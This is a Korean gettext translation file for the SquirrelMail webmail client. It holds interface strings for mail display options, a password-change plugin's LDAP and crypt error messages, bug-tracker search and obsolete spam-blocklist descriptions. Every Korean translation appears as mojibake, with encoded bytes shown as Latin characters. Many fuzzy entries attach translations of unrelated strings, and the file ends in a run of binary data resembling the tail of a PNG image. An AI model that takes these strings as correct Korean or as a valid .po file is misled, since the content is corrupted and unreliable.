msgstr "ì´ë¦„ì„ ë³€ê²½í•  íŽ¸ì§€í•¨ì„ ì„ íƒí•˜ì‹œê¸° ë°”ëžë‹ˆë‹¤."

msgid "Possible reason:"
msgstr ""

msgid "ERROR: Bad function call."
msgstr ""

#, fuzzy
msgid "Reason:"
msgstr "ì‘답:"

msgid ""
"TLS is enabled, but this version of PHP does not support TLS sockets, or is "
"missing the openssl extension."
msgstr ""

msgid ""
"Your mailbox is not located at this server. Try a different server or "
"consult your system administrator"
msgstr ""

#, fuzzy
msgid "Unknown recipient"
msgstr "알 수 없는 ì‘답"

msgid "Unflag"
msgstr ""

#, fuzzy
msgid "Flag"
msgstr "플래그"

#, fuzzy
msgid "Undelete"
msgstr "삭제"

#, fuzzy
msgid "General Message Composition"
msgstr "메세지 보기 ë° ìž‘ì„±"

#, fuzzy
msgid "Replying and Forwarding Messages"
msgstr "메세지 전달시 참조 í¬í•¨"

msgid "Strip signature when replying"
msgstr ""

msgid "Enable Fancy Row Mouseover Highlighting"
msgstr ""

msgid "Message Flags Icon Theme"
msgstr ""

msgid "Show Flag / Unflag Buttons"
msgstr ""

#, fuzzy
msgid "Use Compact Page Selector"
msgstr "페ì´ì§€ 기능 사용"

msgid "Length of From/To Field (0 for full)"
msgstr ""

msgid "Length of Subject Field (0 for full)"
msgstr ""

#, fuzzy
msgid "Message Display Options"
msgstr "ì¼ë°˜ì ì¸ 화면 설정"

msgid "Show 'Delete & Prev/Next' Links"
msgstr ""

#, fuzzy
msgid "Save Replies with Original Message"
msgstr "ì›ëž˜ 메세지"

#, fuzzy, php-format
msgid "%d Minute"
msgid_plural "%d Minutes"
msgstr[0] "ë¶„"
msgstr[1] "ë¶„"

msgid "Show only subscribed folders"
msgstr ""

msgid "XP"
msgstr ""

#, fuzzy
msgid "Hide SquirrelMail Header"
msgstr "ì „ì²´ í—¤ë” ë³´ê¸°"

#, fuzzy
msgid "Search functions"
msgstr "찾기"

msgid "Only basic search"
msgstr ""

msgid "Only advanced search"
msgstr ""

msgid "Both search functions"
msgstr ""

msgid "Show alternative language names"
msgstr ""

msgid "Available languages"
msgstr ""

#, fuzzy
msgid "Enable aggressive decoding"
msgstr "페ì´ì§€ 기능 사용"

msgid "Tweaks"
msgstr ""

msgid "Use advanced tree folder listing"
msgstr ""

#, fuzzy
msgid "Use icons"
msgstr "ì´ˆ"

msgid "Use PHP recode functions"
msgstr ""

msgid "Use PHP iconv functions"
msgstr ""

msgid "Allow remote configuration test"
msgstr ""

msgid "Show System Specifications"
msgstr ""

#, fuzzy
msgid "Search Mailing List Archives"
msgstr "리스트 목ë¡"

msgid "Search SourceForge Bugtracker"
msgstr ""

#, fuzzy
msgid "Search for words:"
msgstr "찾기"

msgid "Written by:"
msgstr ""

#, fuzzy
msgid "Email addresses only"
msgstr "ì „ìžë©”ì¼ ì£¼ì†Œ"

#, fuzzy
msgid "Mailing list:"
msgstr "ë©”ì¼ë§ 리스트"

#, fuzzy
msgid "SquirrelMail users list"
msgstr "SquirrelMail 버전 %s"

#, fuzzy
msgid "SquirrelMail plugins list"
msgstr "SquirrelMail 버전 %s"

#, fuzzy
msgid "SquirrelMail developers list"
msgstr "SquirrelMail 버전 %s"

#, fuzzy
msgid "SquirrelMail internationalization list"
msgstr "SquirrelMail 버전 %s"

#, fuzzy
msgid "Sort by:"
msgstr "í¬íЏ:"

msgid "Relevance"
msgstr ""

#, fuzzy
msgid "Search Archives"
msgstr "검색 결과"

#, fuzzy
msgid "Reset Form"
msgstr "편지함 삭제"

msgid "Summary keyword:"
msgstr ""

#, fuzzy
msgid "Sort By:"
msgstr "í¬íЏ:"

msgid "ID"
msgstr ""

#, fuzzy
msgid "Summary"
msgstr "ì¼"

#, fuzzy
msgid "Open Date"
msgstr "열기 실패"

#, fuzzy
msgid "Close Date"
msgstr "종료"

#, fuzzy
msgid "Submitter"
msgstr "완료"

msgid "Assignee"
msgstr ""

#, fuzzy
msgid "Order:"
msgstr "기타:"

#, fuzzy
msgid "Ascending"
msgstr "전송"

msgid "Descending"
msgstr ""

msgid "Search Bugtracker"
msgstr ""

msgid "You must type in a new password."
msgstr ""

msgid "You must also type in your new password in the verify box."
msgstr ""

msgid "Your new password does not match the verify password."
msgstr ""

msgid "You must type in your current password."
msgstr ""

#, fuzzy
msgid "Your current password is not correct."
msgstr "알 수 없는 ì‚¬ìš©ìž ë˜ëŠ” 비밀번호 오류"

#, php-format
msgid "Your new password should be %s to %s characters long."
msgstr ""

#, fuzzy
msgid "Your new password contains invalid characters."
msgstr "ë³„ëª…ì´ ìž˜ëª»ëœ ë¬¸ìžë¥¼ í¬í•¨í•˜ê³  있습니다."

#, fuzzy
msgid "Change Password"
msgstr "ì´ ë‹¨ì–´ 변경"

#, fuzzy
msgid "Current Password:"
msgstr "비밀번호:"

#, fuzzy
msgid "New Password:"
msgstr "비밀번호:"

#, fuzzy
msgid "Verify New Password:"
msgstr "비밀번호:"

msgid "Use this to change your email password."
msgstr ""

#, fuzzy
msgid "User's Password"
msgstr "비밀번호:"

msgid "Current configuration requires LDAP support in PHP."
msgstr ""

msgid "Plugin is not configured correctly."
msgstr ""

#, php-format
msgid "Setting of LDAP connection option %s to value %s failed."
msgstr ""

#, php-format
msgid "Incorrect LDAP connection option: %s"
msgstr ""

msgid ""
"Current PHP LDAP extension does not allow use of ldap_set_option() function."
msgstr ""

#, fuzzy
msgid "Unable to use TLS."
msgstr "갱신 오류"

#, fuzzy, php-format
msgid "Error: %s"
msgstr "오류 "

msgid "Unable to use LDAP TLS in current setup."
msgstr ""

msgid "Unable to bind to LDAP server."
msgstr ""

#, fuzzy, php-format
msgid "Server replied: %s"
msgstr "서버 ì‘답: "

msgid "Unable to find user's password attribute."
msgstr ""

msgid "Unable to rebind to LDAP server."
msgstr ""

msgid "LDAP server uses different attribute to store user's password."
msgstr ""

#, fuzzy
msgid "Unable to connect to LDAP server."
msgstr "서버 ì—°ê²° ì—†ìŒ"

msgid "Unable to find user's DN."
msgstr ""

#, fuzzy
msgid "Search error."
msgstr "찾기"

msgid "Multiple userid matches found."
msgstr ""

msgid "ldap_get_dn error."
msgstr ""

#, php-format
msgid "Unsupported crypto: %s"
msgstr ""

msgid "PHP mhash extension is missing."
msgstr ""

msgid "System crypt library doesn't support standard DES crypt."
msgstr ""

msgid "System crypt library doesn't have MD5 support."
msgstr ""

msgid "System crypt library doesn't support extended DES crypt."
msgstr ""

msgid "System crypt library doesn't have Blowfish support."
msgstr ""

#, fuzzy
msgid "unknown"
msgstr "알 수 없는 ì¼ìž"

msgid "Unable to validate user's password."
msgstr ""

msgid "Blowfish is not supported by webserver's system crypt library."
msgstr ""

msgid "MD5 is not supported by webserver's system crypt library."
msgstr ""

msgid ""
"Extended DES crypt is not supported by webserver's system crypt library."
msgstr ""

msgid ""
"Standard DES crypt is not supported by webserver's system crypt library."
msgstr ""

msgid "PHP Curl extension is NOT available! Unable to change password!"
msgstr ""

msgid "Cannot change password! (Is user 'Self Configurable User' ?) (401)"
msgstr ""

#, fuzzy
msgid "Cannot change password!"
msgstr "ì´ ë‹¨ì–´ 변경"

msgid "Cannot connect to Database Server, please try later!"
msgstr ""

msgid "Database not found on server"
msgstr ""

msgid "SQL call failed, try again later."
msgstr ""

msgid "Duplicate login entries detected, cannot change password!"
msgstr ""

msgid "Password change was not successful!"
msgstr ""

msgid "Closing Connection"
msgstr ""

#, fuzzy
msgid "Connecting to Password Server"
msgstr "서버 ì—°ê²° ì—†ìŒ"

msgid "No valid backend defined."
msgstr ""

msgid "Incorrent path to vmail.inc file."
msgstr ""

msgid "Invalid or corrupted vmail.inc file."
msgstr ""

msgid "Invalid user."
msgstr ""

#, fuzzy
msgid "Empty domain"
msgstr "명령어가 비어있습니다."

#, fuzzy
msgid "Empty domain password"
msgstr "명령어가 비어있습니다."

#, fuzzy
msgid "Empty username"
msgstr "ì‚¬ìš©ìž ì´ë¦„:"

msgid "Empty new password"
msgstr ""

#, fuzzy
msgid "Server Capability response:"
msgstr "서버 ì‘답: "

msgid ""
"Select the IMAP commands you would like to run. Most commands require a "
"selected mailbox so the select command is already setup. You can clear all "
"the commands and test your own IMAP command strings. The commands are "
"executed in order. The default values are simple IMAP commands using your "
"default_charset and folder_prefix from SquirrelMail when needed."
msgstr ""

msgid ""
"NOTE: These commands are live, any changes made will effect your current "
"email account."
msgstr ""

#, fuzzy
msgid "Select"
msgstr "ì „ì²´ ì„ íƒ"

#, fuzzy
msgid "Test Name"
msgstr "테마 ì´ë¦„"

#, fuzzy
msgid "IMAP command string"
msgstr "명령어가 비어있습니다."

#, fuzzy
msgid "Request:"
msgstr "요청ë˜ì—ˆìŠµë‹ˆë‹¤."

#, fuzzy
msgid "No POP3 servers configured yet."
msgstr "서버를 지정하지 않았습니다."

#, fuzzy
msgid "Click here to go to the options page."
msgstr "다시 ë¡œê·¸ì¸ í•˜ì‹œë ¤ë©´ 여기를 누르세요."

#, fuzzy, php-format
msgid "Login OK: Inbox contains %s message"
msgid_plural "Login OK: Inbox contains %s messages"
msgstr[0] "ë¡œê·¸ì¸ í™•ì¸: íŽ¸ì§€í•¨ì— [ ê°€ 있습니다."
msgstr[1] "ë¡œê·¸ì¸ í™•ì¸: íŽ¸ì§€í•¨ì— [ ê°€ 있습니다."

#, fuzzy
msgid "Width of popup window:"
msgstr "편지쓰기 ì°½ì˜ í­"

msgid "If set to 0, reverts to default value"
msgstr ""

#, fuzzy
msgid "Height of popup window:"
msgstr "편지쓰기 ì°½ì˜ ë†’ì´"

#, fuzzy
msgid "uploaded media file"
msgstr "ë‚´ë¶€ 미디어 파ì¼:"

#, fuzzy
msgid "none"
msgstr "ì—†ìŒ"

#, fuzzy
msgid "Upload Media File:"
msgstr "ë‚´ë¶€ 미디어 파ì¼:"

#, fuzzy
msgid "Uploaded Media File:"
msgstr "ë‚´ë¶€ 미디어 파ì¼:"

#, fuzzy
msgid "unavailable"
msgstr "사용할 수 없습니다."

#, php-format
msgid "Media file %s will be removed, if you upload other media file."
msgstr ""

#, fuzzy
msgid "Spam Service Type:"
msgstr "IMAP 서버 형ì‹"

msgid "Free reporting"
msgstr ""

msgid "Member services"
msgstr ""

#, fuzzy
msgid "Save Service Type"
msgstr "ì €ìž¥ëœ ìŠ¤ìº” 형ì‹"

#, fuzzy
msgid "SpamCop reporting"
msgstr "SpamCop - 스팸 보고"

#, fuzzy
msgid "Translation Theme:"
msgstr "번역"

msgid ""
"Selected translation engine is disabled. Please update your translation "
"preferences."
msgstr ""

#, fuzzy
msgid "Translation Preferences"
msgstr "부서 환경설정"

#, fuzzy
msgid "Maximum of 25 kilobytes translated, powered by Systran"
msgstr "10ê°œì˜ ì–¸ì–´ìŒ ì‚¬ìš©, 최대 25 kb 까지 번역. Systran 사용"

#, fuzzy
msgid "No known limits, powered by GPLTrans (free, open source)"
msgstr ""
"8ê°œì˜ ì–¸ì–´ìŒì„ 사용합니다. ì œí•œì‚¬í•­ì€ ì—†ìŠµë‹ˆë‹¤. GTPTrans(프리, 오픈소스)ì˜ ë„"
"ì›€ì„ ë°›ìŠµë‹ˆë‹¤."

msgid "Transliterate unknown words:"
msgstr ""

msgid "When composing:"
msgstr "작성 시기:"

msgid "Not yet functional, currently does nothing"
msgstr "ì•„ì§ ê¸°ëŠ¥ì´ ì—†ìŠµë‹ˆë‹¤. 현재 ë™ìž‘하지 않습니다."

msgid "Delivery error report"
msgstr "전송 오류 보고"

msgid "Undelivered Message Headers"
msgstr "전송할 수 없는 메세지 í—¤ë”"

msgid "This image has been removed for security reasons"
msgstr ""

#~ msgid "Unknown error"
#~ msgstr "알 수 없는 오류"

#~ msgid "To:"
#~ msgstr "받는 사람:"

#~ msgid "CC:"
#~ msgstr "참조:"

#~ msgid "BCC:"
#~ msgstr "ìˆ¨ì€ ì°¸ì¡°:"

#~ msgid "Subject:"
#~ msgstr "제목:"

#~ msgid "said"
#~ msgstr "ë‹˜ì´ ì“°ì‹œê¸¸"

#~ msgid "Draft folder"
#~ msgstr "임시 보관함"

#~ msgid "Not available"
#~ msgstr "사용할 수 없습니다."

#~ msgid "CC"
#~ msgstr "참조:"

#~ msgid "Business Card"
#~ msgstr "업무용 카드"

#~ msgid "Click here to try again"
#~ msgstr "다시 시ë„하려면 여기를 누르세요"

#~ msgid "Unknown message number in reply from server: "
#~ msgstr "알 수 없는 메세지 번호를 서버로부터 받았습니다:"

#~ msgid "(unknown sender)"
#~ msgstr "(알 수 없는 전송ìž)"

#~ msgid "35 min."
#~ msgstr "35 ë¶„."

#~ msgid ""
#~ "FREE - Osirusoft Relays - Osirusofts list of verified open relays. Seems "
#~ "to include servers used by abuse@uunet.net auto-replies too."
#~ msgstr "무료 - Osirusoft 중계 - abuse@uunet.net ìžë™ 회신 사용 서버 í¬í•¨"

#~ msgid "FREE - Osirusoft Dialups - Osirusofts Dialup Spam Source list."
#~ msgstr "무료 - Osirusoft ì „í™”ì ‘ì† - Osirusoft ì „í™”ì ‘ì† ìŠ¤íŒ¸ 목ë¡"

#~ msgid ""
#~ "FREE - Osirusoft Confirmed Spam Source - Sites that continually spam and "
#~ "have been manually added after multiple nominations. Use with caution. "
#~ "Seems to catch abuse auto-replies from some ISPs."
#~ msgstr "무료 - Osirusoftì—서 ìŠ¤íŒ¸ì„ í™•ì¸í•˜ì˜€ìŠµë‹ˆë‹¤."

#~ msgid ""
#~ "FREE - Osirusoft Smart Hosts - List of hosts that are secure but relay "
#~ "for other mail servers that are not secure."
#~ msgstr ""
#~ "무료 - Osirusoft 스마트 호스트 - 안전한 호스트ì´ì§€ë§Œ 다른 ë©”ì¼ ì„œë²„ë¡œ 중"
#~ "계 ê¸°ëŠ¥ì€ ì•ˆì „í•˜ì§€ ì•Šì€ í˜¸ìŠ¤íŠ¸ 목ë¡"

#~ msgid ""
#~ "FREE - Osirusoft Spamware Developers - It is believed that these are IP "
#~ "ranges of companies that are known to produce spam software. Seems to "
#~ "catch abuse auto-replies from some ISPs."
#~ msgstr ""
#~ "무료 - Osirusoft 스팸웨어 ê°œë°œìž - 스팸 소프트웨어를 만드는 것으로 알려진 "
#~ "íšŒì‚¬ì˜ IPë¼ê³  ìƒê°ë©ë‹ˆë‹¤. ì–´ë–¤ ISP로부터 ìžë™-회신 ë‚¨ìš©ì„ ë§‰ëŠ” 것 같습니"
#~ "다."

#~ msgid ""
#~ "FREE - Osirusoft Unconfirmed OptIn Servers - List of listservers that opt "
#~ "users in without confirmation."
#~ msgstr ""
#~ "무료 - Osirusoft 확ì¸ë˜ì§€ ì•Šì€ OptIn 서버 - 확ì¸ê³¼ì •ì—†ì´ ì‚¬ìš©ìžê°€ opt í•  "
#~ "수 있는 서버 목ë¡"

#~ msgid ""
#~ "FREE - Osirusoft Insecure formmail.cgi scripts - List of insecure "
#~ "formmail.cgi scripts. (planned)."
#~ msgstr ""
#~ "무료 - Osirusoft 안전하지 ì•Šì€ formmail.cgi 스í¬ë¦½íЏ -  안전하지 ì•Šì€ "
#~ "formail.cgi 스í¬ë¦½íЏ 목ë¡(예정)"

#~ msgid "FREE - Osirusoft Open Proxy Servers - List of Open Proxy Servers."
#~ msgstr "무료 - Osirusoft 공개 프ë½ì‹œ 서버 - 공개 프ë½ì‹œ 서버 목ë¡"

#~ msgid "All Messages"
#~ msgstr "모든 메세지"

#~ msgid "POP3 noop:"
#~ msgstr "POP3 noop:"

#~ msgid "] messages"
#~ msgstr "] 메세지"

#~ msgid "No-one server in use. Try to add."
#~ msgstr "ì‚¬ìš©ì¤‘ì¸ ì„œë²„ê°€ 없습니다. 추가하시겠습니까."

#~ msgid "Mofify a Server"
#~ msgstr "서버 변경"

#~ msgid "Hey! Wath do You are looking for?"
#~ msgstr "ì´ë´! ë­˜ 찾고 있는거야?"

#~ msgid "Message details"
#~ msgstr "ìƒì„¸ 메세지"

#~ msgid ""
#~ "Select from the list of <b>server files</b> the media file to play when "
#~ "new mail arrives.  Selecting <b>local media</b> will play the file "
#~ "specified in the <b>local media file</b> box to play from the local "
#~ "computer.  If no file is specified, the system will use a default from "
#~ "the server."
#~ msgstr ""
#~ "<b>서버 íŒŒì¼ ì„ íƒ</b>ì€ ìƒˆë¡œìš´ ë©”ì¼ì´ ë„ì°©í–ˆì„ ë•Œ 사용할 미디어 파ì¼ì„ 설"
#~ "정합니다. <b>ë‚´ë¶€ 미디어</b>ì—서 컴퓨터ìƒì˜ <b>ë‚´ë¶€ 미디어 파ì¼</b>ì„ ëª…ì‹œ"
#~ "í•  수 있습니다. 만약 파ì¼ì„ ì„ íƒí•˜ì§€ 않으면, ì‹œìŠ¤í…œì€ ì„œë²„ì˜ ê¸°ë³¸ê°’ì„ ì‚¬ìš©"
#~ "하게 ë©ë‹ˆë‹¤."

#~ msgid "(local media)"
#~ msgstr "(내부 미디어)"

#~ msgid "New Mail Notification options saved"
#~ msgstr "ìƒˆë©”ì¼ ì•Œë¦¼ ì„¤ì •ì´ ì €ìž¥ë˜ì—ˆìŠµë‹ˆë‹¤"

#~ msgid ""
#~ "<p>Your personal dictionary is <strong>currently encrypted</strong>. This "
#~ "helps protect your privacy in case the web-mail system gets compromized "
#~ "and your personal dictionary ends up stolen. It is currently encrypted "
#~ "with the password you use to access your mailbox, making it hard for "
#~ "anyone to see what is stored in your personal dictionary.</p> "
#~ "<p><strong>ATTENTION:</strong> If you forget your password, your personal "
#~ "dictionary will become unaccessible, since it can no longer be decrypted. "
#~ "If you change your mailbox password, SquirrelSpell will recognize it and "
#~ "prompt you for your old password in order to re-encrypt the dictionary "
#~ "with a new key.</p>"
#~ msgstr ""
#~ "<p>ê°œì¸ ì‚¬ì „ì€ <strong>현재 암호화</strong>ë˜ì–´ 있습니다. ì´ê²ƒì€ ì›¹ë©”ì¼ ì‹œ"
#~ "스템과 ê°œì¸ ì‚¬ì „ 분실시 ë‹¹ì‹ ì˜ ì‚¬ìƒí™”를 보호할 수 있게 ë„와 ì¤ë‹ˆë‹¤. 현재 "
#~ "ë©”ì¼í•¨ì— 접근할 때 사용하는  암호로 암호화 ë˜ì–´ 있기 ë•Œë¬¸ì— ê°œì¸ì‚¬ì „ì— ì €"
#~ "ìž¥ëœ ë‚´ìš©ì„ ì•„ë¬´ë‚˜ 보기 어렵게 만듭니다.</p><p><strong>주ì˜:</strong>만약 "
#~ "암호를 모르는 경우, ê°œì¸ ì‚¬ì „ì— ì ‘ê·¼í•  수 없어서, 암호해제를 í•  수 없게 ë©"
#~ "니다. 만약 ë©”ì¼í•¨ì˜ 암호를 변경하게 ë˜ëŠ” 경우, SquirrelSpellì€ ë³€ê²½ì‚¬í•­ì„ "
#~ "ì¸ì‹í•˜ê³  새로운 키로 ì‚¬ì „ì„ ìž¬ 암호화하기 위해 ì´ì „ 암호를 요구하게 ë  ê²ƒ"
#~ "입니다.</p>"
ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚